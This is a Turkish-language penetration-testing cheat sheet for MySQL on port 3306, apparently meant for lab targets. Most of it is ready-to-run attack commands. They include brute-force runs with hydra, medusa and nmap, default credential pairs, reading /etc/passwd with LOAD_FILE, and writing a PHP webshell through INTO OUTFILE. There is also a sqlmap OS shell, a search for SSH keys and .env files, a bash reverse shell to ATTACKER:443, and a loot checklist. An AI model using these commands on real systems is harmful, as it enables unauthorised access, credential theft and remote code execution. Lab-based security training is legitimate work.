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3306 - Pentesting Mysql

MySQL database

MySQL zayıf root ve FILE privilege ile dosya okuma/yazma; UDF ile RCE. Hedef lab IP’si üzerinde komutları 3306 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 3306 doğrula.

  2. Login.

  3. FILE/INTO OUTFILE.

  4. UDF.

Terminal window
nmap -Pn -sV -p3306 TARGET
Terminal window
nmap -Pn -p3306 --script mysql-info,mysql-brute TARGET
Terminal window
mysql -h TARGET -u root -p
Terminal window
nxc mysql TARGET -u root -p pass
SELECT LOAD_FILE('/etc/passwd')
SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE '/var/www/html/s.php'
Terminal window
sqlmap -d 'mysql://root:pass@TARGET:3306/db' --os-shell

Mysql için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p3306 TARGET
Terminal window
nmap -Pn -p3306 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3306' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',3306));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Mysql
Terminal window
hydra -L users.txt -P rockyou.txt -s 3306 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3306
Terminal window
nmap -p3306 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit MySQL
Terminal window
msfconsole -q -x 'search MySQL; exit'
Terminal window
nuclei -u https://TARGET:3306 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:3306 -tags tech -silent || true
Terminal window
nc -nv TARGET 3306
Terminal window
printf '
' | timeout 3 nc -nv TARGET 3306
Terminal window
curl -vk --http1.0 http://TARGET:3306/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
login → FILE/UDF → webshell/OS